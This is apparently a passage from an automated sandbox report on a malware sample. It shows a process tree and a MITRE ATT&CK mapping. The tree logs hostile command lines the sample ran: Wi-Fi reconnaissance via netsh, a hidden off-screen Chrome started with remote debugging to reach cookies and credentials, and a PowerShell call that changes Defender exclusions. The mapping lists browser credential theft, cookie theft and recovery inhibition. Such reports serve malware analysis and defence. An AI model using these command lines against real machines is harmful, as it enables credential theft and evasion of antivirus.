    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1032
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3792
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2264
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show networks mode=bssid
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:32
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3312
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xc0,0x104,0x7ff80ac3dcf8,0x7ff80ac3dd04,0x7ff80ac3dd10
        5⤵
        
        PID:1396
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1960,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=1956 /prefetch:2
        5⤵
        
        PID:4568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1588,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2296 /prefetch:3
        5⤵
        
        PID:4244
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2384,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=2396 /prefetch:8
        5⤵
        
        PID:2152
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3260,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3268 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3276,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=3304 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4360,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4388 /prefetch:2
        5⤵
        Uses browser remote debugging
        
        PID:3776
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4660,i,13794551250753175559,7110254823228628208,262144 --variations-seed-version=20250313-182214.581000 --mojo-platform-channel-handle=4788 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "Remove-MpPreference -ExclusionPath \"$env:TEMP\" -ErrorAction SilentlyContinue"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:968

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:5068

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2420

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2876

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Indicator Removal

T1070

File Deletion

T1070.004

Modify Authentication Process

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery